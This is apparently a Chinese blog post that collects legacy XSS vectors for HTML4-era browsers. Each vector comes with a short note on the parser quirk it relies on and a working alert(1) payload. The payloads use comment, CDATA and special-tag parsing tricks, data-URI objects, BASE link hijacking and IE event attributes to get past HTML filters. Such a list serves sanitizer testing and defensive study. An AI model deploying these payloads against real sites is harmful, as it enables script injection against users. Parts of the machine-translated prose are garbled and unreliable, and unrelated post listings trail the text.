XSS代码合集(含测试效果详细版)-HTML4与更早版本的向量1

HTML4与更早版本的向量

通过<FRAMESET>和onload执行JavaScript

这个经典的向量表明,有几个标记不需要“src”属性来触发onload事件,例如<IFRAME>、<BODY>和<FRAMESET>。

<frameset onload=alert(1)>

适用浏览器与版本

测试效果

通过<TABLE>和后台执行JavaScript

Opera 8-10.5+和Internet Explorer 6支持javascripturi的<TABLE>和其他一些标记的“background”属性。这会导致JavaScript在没有用户交互的情况下执行。问题已在Opera11中解决。

<table background="javascript:alert(1)"></table>

适用浏览器与版本

测试效果

暂无

HTML注释解析问题(1)

此向量显示如何解析注释,以及在允许用户提交的HTML包含注释时可能出现的问题。

<!--<img src="--><img src=x onerror=alert(1)//">

适用浏览器与版本

测试效果

HTML注释解析问题(2)

除此之外<!--->Internet Explorer允许使用<COMMENT>标记。向量显示了如何解析注释,以及在允许用户提交的HTML包含注释时可能出现的问题。这个例子符合IE8标准模式。

<comment><img src="</comment><img src=x onerror=alert(1)//">

适用浏览器与版本

测试效果

CDATA节解析问题

使用CDATA截面在HTML中定义的Firefox和Opera Allow-in the Stripped Form<![“As well as including padding like[……]Cdata[……]。这可能会造成过滤机制的问题,因为这些限定器可用于大规模爆破。Firefox 4 and Opera 11.60 have fixed the issue.然而,现代浏览器为内线SVG或Mathml提供了一个XML分隔符,该分隔符允许使用CDATA分段()。

<!-- up to Opera 11.52, FF 3.6.28 -->
<![><img src="]><img src=x onerror=alert(1)//">

<!-- IE9+, FF4+, Opera 11.60+, Safari 4.0.4+, GC7+ -->
<svg><![CDATA[><image xlink:href="]]><img src=xx:x onerror=alert(2)//"></svg>

适用浏览器与版本

测试效果

用于标记模糊处理的纯文本标记

这个向量在所有被测试的用户代理上都起作用,并显示了几种过滤解决方案是如何被诱骗接受恶意HTML的。写得不好的过滤器将假定错误处理程序是第一个图像的“src”属性的一部分,并接受传入的数据。

<style><img src="</style><img src=x onerror=alert(1)//">

适用浏览器与版本

测试效果

通过空列表样式的错误处理程序和通过空内容加载处理程序

Opera10.5+和更早版本会为<LI>标记触发错误事件,以防无法加载通过样式属性的后台URL。同样适用于“列表样式图像”。在Opera10.10和更早的版本中,更多的标签/样式组合,如background:url()和background-image:url()也可以工作。也可以像content:url(svg)那样进行组合,但目前它对事件和<script>前后的标记很敏感。

<li style=list-style:url() onerror=alert(1)></li>
<div style=content:url(data:image/svg+xml,%3Csvg/%3E);visibility:hidden onload=alert(1)></div>

适用浏览器与版本

测试效果

暂无

通过<BASE>和JavaScript URI进行链接劫持

<BASE>使用JavaScript uri进行链接劫持可在Internet Explorer、Opera(如果链接URL以#开头,则为O8-10.5)和Safari上运行。执行JavaScript需要用户交互。向量有时需要稍加更改才能适用于所有提到的用户代理。Opera 11船或多或少的工作修复,但这个问题仍然存在难以开发的形式,虽然。

<head><base href="javascript://"/></head><body><a href="/. /,alert(1)//#">XXX</a></body>

适用浏览器与版本

测试效果

通过<SCRIPT>for和event属性执行JavaScript

Internet Explorer允许使用带有“for”和“event”属性的<SCRIPT>标记将事件数据绑定到特定的html元素。显示的两个属性值会导致脚本执行而无需用户交互。Opera只是忽略了这些属性。

<SCRIPT FOR=document EVENT=onreadystatechange>alert(1)</SCRIPT>

适用浏览器与版本

测试效果

通过<OBJECT>DataURL属性执行JavaScript

Internet Explorer 9和早期版本在某些情况下支持对TDC对象的“dataurl”属性使用JavaScripturi。JavaScript将在没有用户任何交互的情况下执行。

<OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:alert(1)"></OBJECT>

适用浏览器与版本

测试效果

暂无

通过<OBJECT>数据执行JavaScript

几乎所有支持数据uri的浏览器都允许通过特制的<OBJECT>“data”属性值执行JavaScript,即使base64编码。但是,请注意,不同的浏览器在不同的源代码上执行JavaScript。例如,Firefox将在宿主域上执行,从而允许XSS,而Chrome将在about:blank上执行。

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>

适用浏览器与版本

测试效果

通过src执行JavaScript

几乎所有支持数据uri的浏览器都允许通过精心编制的<EMBED>“src”属性值执行JavaScript,即使base64是非编码的。只有Firefox尝试搜索插件处理程序,但失败了。

<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></embed>

<embed src="javascript:alert(1)"></embed> // Firefox only

适用浏览器与版本

测试效果

嵌套在其他标记中的标记以欺骗筛选器

Chrome、Firefox和Safari将使用这个嵌套示例执行JavaScript,而Opera和IE则不会。

<b <script>alert(1)//</script>0</script></b>

适用浏览器与版本

测试效果

暂无

复制innerHTML时使用重音坟墓的XSS(1)

Internet Explorer将重音标志(`)视为“and”等属性分隔符。在使用innerHTML属性时,引号(“)将从属性值中去掉,以防它不包含空格。

<div id="div1"><input value="``onmouseover=alert(1)"></div> <div id="div2"></div><script>document.getElementById("div2").innerHTML = document.getElementById("div1").innerHTML;</script>

适用浏览器与版本

测试效果

暂无

在IE中模拟属性

这个向量通过使用单引号欺骗过滤器来模拟IE中的属性。在标准模式和最新的IE中,使用旧的文档模式可以达到IE9。

<!-- IE 6-8 -->
<x ‘="foo"><x foo=‘><img src=x onerror=alert(1)//‘>

<!-- IE 6-9 -->
<! ‘="foo"><x foo=‘><img src=x onerror=alert(2)//‘>
<? ‘="foo"><x foo=‘><img src=x onerror=alert(3)//‘>

适用浏览器与版本

测试效果

暂无

通过src属性执行JavaScript

大多数浏览器允许通过<IFRAME>“src”属性执行JavaScript,这是预期的行为。有趣的是,这也可以扩展到其他标签。Opera 10、Chrome和Firefox使用<EMBED>标记执行JavaScript,而Opera 10和Opera Mobile甚至使用<SCRIPT>、<IMG>和<IMAGE>和匹配的“src”属性以及早期的Internet Explorer版本执行JavaScript。

<embed src="javascript:alert(1)"></embed> // O10.10↓, OM10.0↓, GC6↓, FF
<img src="javascript:alert(2)">
<image src="javascript:alert(2)"> // IE6, O10.10↓, OM10.0↓
<script src="javascript:alert(3)"></script> // IE6, O11.01↓, OM10.1↓

适用浏览器与版本

测试效果

暂无

通过IE过滤器和onfilterchange执行JavaScript

在某些情况下,只使用一个筛选器就可以触发filterchange事件,如示例所示。同时也使用了短的过滤符号,尽管文档中有相关信息,但是所有IE版本都支持这种符号。在IE8+的兼容模式下,可以使用属性“-ms filter”。

<div style=width:1px;filter:glow onfilterchange=alert(1)>x</div>

适用浏览器与版本

测试效果

暂无

<OBJECT>执行JavaScript的标记和Flash文件

<OBJECT>通过“data”属性直接包含Flash文件的标签-允许在无需用户交互的情况下执行JavaScript等。

<object allowscriptaccess="always" data="test.swf"></object>

确保用户无法控制<OBJECT>标记的“src”和“data”属性值-或者最好不要在用户提交的标记中白名单<OBJECT>标记。

class XSS {public static function main() {
flash.Lib.getURL(new flash.net.URLRequest(flash.Lib._root.url||"javascript:alert(1)"),flash.Lib._root.name||"_top");
}}
crossdomain: 1
path: http://html5sec.org/test.swf
name: test.swf

适用浏览器与版本

测试效果

暂无

特殊标记解析问题

HTML标记名以a-zA-Z开头(从忽略IE中的空字节中抽象出来)。此外,还有其他结构,解析为标记(特殊标记)。它们以下列字符开头:!,?, /,%. 这有其原因:DTD、注释、xml声明、Internet Explorer中的导入指令、结束标记等都以这些字符开头。这些示例表明,此类标记将继承其标准模型的某些属性。

[A] Firefox、Opera、Google Chrome、Safari(4.0.4+)、IE 10+标准模式:特殊标签的参数不能包含右括号“>”。

[B] Safari(高达4.0.3):特殊标记的参数只能通过“?>".

[C] Opera(高达11.52):特殊标记继承了DTD的属性:在它内部,您可以创建一个以“[”开头、以“]结尾的节。

[D] IE 9标准模式,Safari(高达4.0.3):一个类似“<%。。。%>“是评论的替代品。

这些功能可用于模糊处理和绕过过滤器。记住,不要将其解析为HTML结构中的标记,比如“<Èfoo=…>”。

[A]
<? foo="><script>alert(1)</script>">
<! foo="><script>alert(1)</script>">
</ foo="><script>alert(1)</script>">
[B]
<? foo="><x foo=‘?><script>alert(1)</script>‘>">
[C]
<! foo="[[[x]]"><x foo="]foo><script>alert(1)</script>">
[D]
<% foo><x foo="%><script>alert(1)</script>">

适用浏览器与版本

测试效果

原文地址:https://www.cnblogs.com/R-S-PY/p/12222511.html

时间: 2024-08-04 10:48:31

XSS代码合集(含测试效果详细版)-HTML4与更早版本的向量1的相关文章

转载:2013计算机视觉代码合集

转载,原文地址http://blog.csdn.net/daoqinglin/article/details/23607079 -------------------------------------------------------------------------- 来源: http://www.yuanyong.org/cv/cv-code-one.html http://www.yuanyong.org/cv/cv-code-two.html http://www.yuanyong

iOS开发中经常用的实用代码合集

iOS开发中经常用的实用代码合集 本文整理了,在iOS开发中我们所遇到一些开发问题的技巧类的代码,让你在开发过程中避免了很多弯路,希望能给你的开发带来帮助和启发. 1.判断邮箱格式是否正确的代码: // 利用正则表达式验证 -( BOOL )isValidateEmail:( NSString  *)email { NSString  *emailRegex =  @"[A-Z0-9a-z._%+-][email protected][A-Za-z0-9.-]+\\.[A-Za-z]{2,4}&

js验证网址等Javascript常见验证代码合集

发一个利用js验证网址是否正确,email格式是否正确,是否为数字及数字的范围,密码或字符长度及是否相等及要求的最小字符串长度,输入是否为空等Javascript常见验证代码合集,用的上的朋友可以拿去了自行添加整理. 关键的JavaScript代码函数: 查看代码 打印 001 /** 002 * 数据验证框架.增加了对id字段检查出错时,直接在对应后面添加一< span>元素来显示错误信息. 003 * 004 * @author www.phpernote.com 005 * @versi

UIUC同学Jia-Bin Huang收集的计算机视觉代码合集

[转载]UIUC同学Jia-Bin Huang收集的计算机视觉代码合集 原文地址:UIUC同学Jia-Bin Huang收集的计算机视觉代码合集作者:千里8848 UIUC的Jia-Bin Huang同学收集了很多计算机视觉方面的代码,链接如下: https://netfiles.uiuc.edu/jbhuang1/www/resources/vision/index.html 这些代码很实用,可以让我们站在巨人的肩膀上~~ Topic Resources References Feature

计算机视觉与模式识别代码合集第二版two

Topic Name Reference code Image Segmentation Segmentation by Minimum Code Length AY Yang, J. Wright, S. Shankar Sastry, Y. Ma , Unsupervised Segmentation of Natural Images via Lossy Data Compression, CVIU, 2007 code Image Segmentation Normalized Cut

计算机视觉与模式识别代码合集第二版three

计算机视觉与模式识别代码合集第二版three     Topic Name Reference code Optical Flow Horn and Schunck's Optical Flow   code Optical Flow Black and Anandan's Optical Flow   code Pose Estimation Training Deformable Models for Localization Ramanan, D. "Learning to Parse I

JS图片无间断滚动代码合集

JavaScript图片滚动代码合集,向上下左右四个方向的无缝滚动代码,前端设计开发时所能用的一个图片特效,你可只用其中的一种滚动.前端框架分享 .代码   <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1

PHP面向对象编程(imooc)代码合集(一)

该课程内容属于PHP语言学习中的中级课程,只要有基本的php语法基础,四小时内上完这门课程绰绰有余.学习PHP面向对象编程,为我们进一步学习更高级的课程打下基础,如后台框架.微信后台的二次开发的学习等等. 课程链接:<PHP面向对象高级实践> 以下是课程的基本内容: 继承.访问控制.Static(静态)关键字.重写.Final关键字.数据访问深入探讨.接口多态和抽象类. 下面用实例代码加以叙述,并打有详细注释,方便初学者学习. 第一篇主要是用一个NBA球星的类加以阐述类的定义和实例化,通俗易懂

2013计算机视觉代码合集四

特征提取 SURF特征: http://www.vision.ee.ethz.ch/software/index.de.html(当然这只是其中之一) LBP特征(一种纹理特征):http://www.comp.hkbu.edu.hk/~icpr06/tutorials/Pietikainen.html Fast Corner Detection(OpenCV中的Fast算法):FAST Corner Detection -- Edward Rosten 机器视觉 A simple object